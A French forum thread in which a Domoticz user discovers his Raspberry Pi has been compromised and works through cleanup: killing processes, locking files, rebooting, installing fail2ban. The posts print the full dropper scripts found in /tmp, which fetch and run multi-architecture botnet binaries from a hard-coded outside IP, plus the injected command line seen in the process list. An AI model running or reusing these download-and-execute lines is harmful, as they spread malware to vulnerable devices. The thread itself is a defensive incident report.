Page 1 sur 1

Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 14:14
par gom
Bonjour,

Voilà ce que j'ai constaté :

Code : Tout sélectionner

pi@raspberrypi:/tmp $ sudo service domoticz.sh status
● domoticz.service - LSB: Home Automation System
Loaded: loaded (/etc/init.d/domoticz.sh; generated; vendor preset: enabled)
Active: active (running) since Mon 2019-06-24 21:40:04 CEST; 1 months 17 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/domoticz.service
├─7576 sh -c uvccapture -d /dev/aaa wget http://109.238.6.18/domo.sh -O /tmp/domo.sh chmod 777 /tmp/domo.sh /tmp/dom
├─7579 /bin/bash /tmp/domo.sh
├─7583 /bin/sh ./all.sh domo
├─7595 prvkefn0vceroid3rooj
├─7596 prvkefn0vceroid3rooj
├─7597 prvkefn0vceroid3rooj
├─7598 prvkefn0vceroid3rooj
├─7599 prvkefn0vceroid3rooj
└─7600 prvkefn0vceroid3rooj

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
lines 1-16/16 (END)

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ ./domoticz -status
2019-08-11 14:05:51.268 Status: Domoticz V4.9700 (c)2012-2018 GizMoCuz
2019-08-11 14:05:51.268 Status: Build Hash: a3a45906, Date: 2018-06-23 16:24:51
2019-08-11 14:05:51.268 Status: Startup Path: /home/pi/domoticz/
2019-08-11 14:05:51.312 Sunrise: 06:57:00 SunSet: 21:26:00
2019-08-11 14:05:51.312 Day length: 14:29:00 Sun at south: 14:05:00
2019-08-11 14:05:51.312 Civil twilight start: 06:23:00 Civil twilight end: 22:00:00
2019-08-11 14:05:51.312 Nautical twilight start: 05:40:00 Nautical twilight end: 22:43:00
2019-08-11 14:05:51.313 Astronomical twilight start: 04:51:00 Astronomical twilight end: 23:33:00
2019-08-11 14:05:51.313 Status: EventSystem: reset all events...
2019-08-11 14:05:51.314 Status: PluginSystem: Failed dynamic library load, install the latest libpython3.x library that is available for your platform.
2019-08-11 14:05:51.314 Status: Philips Hue: Using default poll interval of 10 secs.
2019-08-11 14:05:51.322 Active notification Subsystems: email (1/13)
2019-08-11 14:05:51.324 Error: WebServer(HTTP) startup failed on address 0.0.0.0 with port: 8080: bind: Address already in use
2019-08-11 14:05:51.324 Error: WebServer(HTTP) check if no other application is using port: 8080
2019-08-11 14:05:51.337 Error: WebServer(SSL) startup failed on address 0.0.0.0 with port: 443: bind: Permission denied
2019-08-11 14:05:51.337 Error: WebServer(SSL) check privileges for opening ports below 1024
2019-08-11 14:05:51.337 Error: No servers are configured. Hence mydomoticz will not be started either.
2019-08-11 14:05:51.338 Status: Proxymanager started.
terminate called after throwing an instance of 'boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<boost::lock_error> >'
pure virtual method called
terminate called recursively
Abandon

Code : Tout sélectionner

pi@raspberrypi:/tmp $ sudo netstat -tlnp | grep 8080
tcp6 129 0 :::8080 :::* LISTEN 7576/sh

Code : Tout sélectionner

sudo lsof -i -P -n | grep "8080 (LISTEN"
sh 7576 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
domo.sh 7579 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
all.sh 7583 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7595 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7596 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7597 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7598 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7599 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7600 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)

Du coup j'ai cherché où étaient ces fichiers "domo.sh" et "all.sh".

J'ai trouvé ça ! :?

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ sudo find / -name domo.sh
/tmp/domo.sh
find: ‘/proc/sys/fs/binfmt_misc’: Aucun périphérique de ce type

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ sudo find / -name all.sh
/tmp/putin/all.sh
find: ‘/proc/sys/fs/binfmt_misc’: Aucun périphérique de ce type

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ sudo vi /tmp/domo.sh
#!/bin/bash

mkdir /tmp/putin/;
wget http://109.238.6.18/all/all.sh -O /tmp/putin/all.sh;
chmod 777 /tmp/putin/*;
cd /tmp/putin/ && ./all.sh domo;
rm -rf /tmp/domo.sh
~
"/tmp/domo.sh" 7 lines, 167 characters

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ sudo vi /tmp/putin/all.sh
#!/bin/sh

WEBSERVER="109.238.6.18:80"

BINARIES="ntpdd.arm ntpdd.arm5n ntpdd.arm6 ntpdd.arm8 ntpdd.arm6tl ntpdd.m68k ntpdd.mpsl ntpdd.spc ntpdd.mips ntpdd.ppc ntpdd.x86 ntpdd.arm4tl ntpdd.mips64 ntpdd.sh4"

for Binary in $BINARIES; do
wget http://$WEBSERVER/all/$Binary -O /tmp/putin/dvrRunNer
chmod 777 /tmp/putin/dvrRunNer
cd /tmp/putin/ && ./dvrRunNer $1
rm -rf /tmp/putin/dvrRunNer
done
~
"/tmp/putin/all.sh" 12 lines, 396 characters

Une idée :?:


Guillaume

Re: Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 14:23
par gom
Si je fais un kill, alors le processus se recrée tout seul !

Code : Tout sélectionner

pi@raspberrypi:~/domoticz $ sudo kill 7576
pi@raspberrypi:~/domoticz $ sudo lsof -i -P -n | grep "8080 (LISTEN"
domo.sh 7579 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
all.sh 7583 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7595 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7596 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7597 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7598 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7599 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7600 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)

Re: Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 14:32
par vil1driver
salut,

un script qui en télécharge un autre, le lance puis le détruit..
rien que ça c'est douteux..

Re: Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 14:38
par gom
Je viens de jouer l'ensemble des commandes suivantes (oui je joue aux apprentis-sorciers ... :roll:) :
pi@raspberrypi:/tmp $ sudo chmod 444 domo.sh
pi@raspberrypi:/tmp $ man chmod
pi@raspberrypi:/tmp $ sudo chmod 444 -R putin
pi@raspberrypi:/tmp $ ls -l
total 12
-r--r--r-- 1 root root 167 juin 10 05:42 domo.sh
dr--r--r-- 2 root root 4096 août 11 14:18 putin
drwx------ 3 root root 4096 juin 24 08:28 systemd-private-21e97de653d546e293b7992b6809cf18-systemd-timesyncd.service-OLQkng
pi@raspberrypi:/tmp $ cd putin/
-bash: cd: putin/: Permission non accordée
pi@raspberrypi:/tmp $ sudo chmod 744 putin
pi@raspberrypi:/tmp $ cd putin/
-bash: cd: putin/: Permission non accordée
pi@raspberrypi:/tmp $ ls -l
total 12
-r--r--r-- 1 root root 167 juin 10 05:42 domo.sh
drwxr--r-- 2 root root 4096 août 11 14:18 putin
drwx------ 3 root root 4096 juin 24 08:28 systemd-private-21e97de653d546e293b7992b6809cf18-systemd-timesyncd.service-OLQkng
pi@raspberrypi:/tmp $ chown pi putin
chown: modification du propriétaire de 'putin': Opération non permise
pi@raspberrypi:/tmp $ sudo chown pi putin
pi@raspberrypi:/tmp $ cd putin/
pi@raspberrypi:/tmp/putin $ ls -l
total 212
-r--r--r-- 1 root root 396 juin 10 05:42 all.sh
-r--r--r-- 1 root root 210967 juin 23 23:26 dvrRunNer
pi@raspberrypi:/tmp/putin $ sudo chown -R pi .
pi@raspberrypi:/tmp/putin $ ls -l
total 212
-r--r--r-- 1 pi root 396 juin 10 05:42 all.sh
-r--r--r-- 1 pi root 210967 juin 23 23:26 dvrRunNer

Maintenant tous ces dossiers et fichiers sont en lecture seule, j'ai pu refaire un kill de tous les processus et ça ne se relance plus ... ouf !
pi@raspberrypi:/tmp/putin $ sudo lsof -i -P -n | grep "8080 (LISTEN"
domo.sh 7579 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
all.sh 7583 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7595 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7596 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7597 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7598 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7599 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
ll2kvga92 7600 root 11u IPv6 15026 0t0 TCP *:8080 (LISTEN)
pi@raspberrypi:/tmp/putin $ sudo kill 7579
pi@raspberrypi:/tmp/putin $ sudo kill 7583
pi@raspberrypi:/tmp/putin $ sudo kill 7595
pi@raspberrypi:/tmp/putin $ sudo kill 7596
pi@raspberrypi:/tmp/putin $ sudo kill 7597
pi@raspberrypi:/tmp/putin $ sudo kill 7598
pi@raspberrypi:/tmp/putin $ sudo kill 7599
pi@raspberrypi:/tmp/putin $ sudo kill 7600
pi@raspberrypi:/tmp/putin $ sudo netstat -tlnp | grep 8080
pi@raspberrypi:/tmp/putin $ sudo lsof -i -P -n | grep "8080 (LISTEN"
pi@raspberrypi:/tmp/putin $

Re: Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 15:12
par gom
Tout semble être revenu à la normal :
pi@raspberrypi:~/domoticz $ sudo service domoticz.sh status
● domoticz.service - LSB: Home Automation System
Loaded: loaded (/etc/init.d/domoticz.sh; generated; vendor preset: enabled)
Active: active (exited) since Mon 2019-06-24 21:40:04 CEST; 1 months 17 days ago
Docs: man:systemd-sysv-generator(8)
CGroup: /system.slice/domoticz.service

Warning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.
J'ai coupé l'accès extérieur.

Prochaines étapes ?
  • Changer le mot de passe "root"
  • Fail2ban
  • Vérifier HTTPS
  • Autres ??

Re: Domoticz HS ou Raspberry piraté ?

Publié : 11 août 2019, 17:09
par gom
Non, tout n'était pas revenu à la normal.

J'ai été obligé de redémarrer et maintenant c'est bon :
pi@raspberrypi:/ $ sudo reboot
pi@raspberrypi:/etc/fail2ban $ sudo service domoticz status
● domoticz.service - LSB: Home Automation System
Loaded: loaded (/etc/init.d/domoticz.sh; generated; vendor preset: enabled)
Active: active (running) since Sun 2019-08-11 16:32:02 CEST; 35min ago
Docs: man:systemd-sysv-generator(8)
Process: 582 ExecStart=/etc/init.d/domoticz.sh start (code=exited, status=0/SUCCESS)
Tasks: 22 (limit: 4915)
CGroup: /system.slice/domoticz.service
└─723 /home/pi/domoticz/domoticz -daemon -www 8080 -sslwww 443 -log /var/log/domoticz.log

août 11 16:32:01 raspberrypi systemd[1]: Starting LSB: Home Automation System...
août 11 16:32:02 raspberrypi domoticz.sh[582]: 2019-08-11 16:32:02.558 Status: Domoticz V4.9700 (c)2012-2018 GizMoCuz
août 11 16:32:02 raspberrypi domoticz.sh[582]: 2019-08-11 16:32:02.566 Status: Build Hash: a3a45906, Date: 2018-06-23 16:24:51
août 11 16:32:02 raspberrypi domoticz.sh[582]: 2019-08-11 16:32:02.573 Status: Startup Path: /home/pi/domoticz/
août 11 16:32:02 raspberrypi domoticz.sh[582]: domoticz: Domoticz is starting up....
août 11 16:32:02 raspberrypi domoticz[622]: Domoticz is starting up....
août 11 16:32:02 raspberrypi domoticz[723]: Domoticz running...
août 11 16:32:02 raspberrypi systemd[1]: Started LSB: Home Automation System.
PS : fail2ban installé :twisted: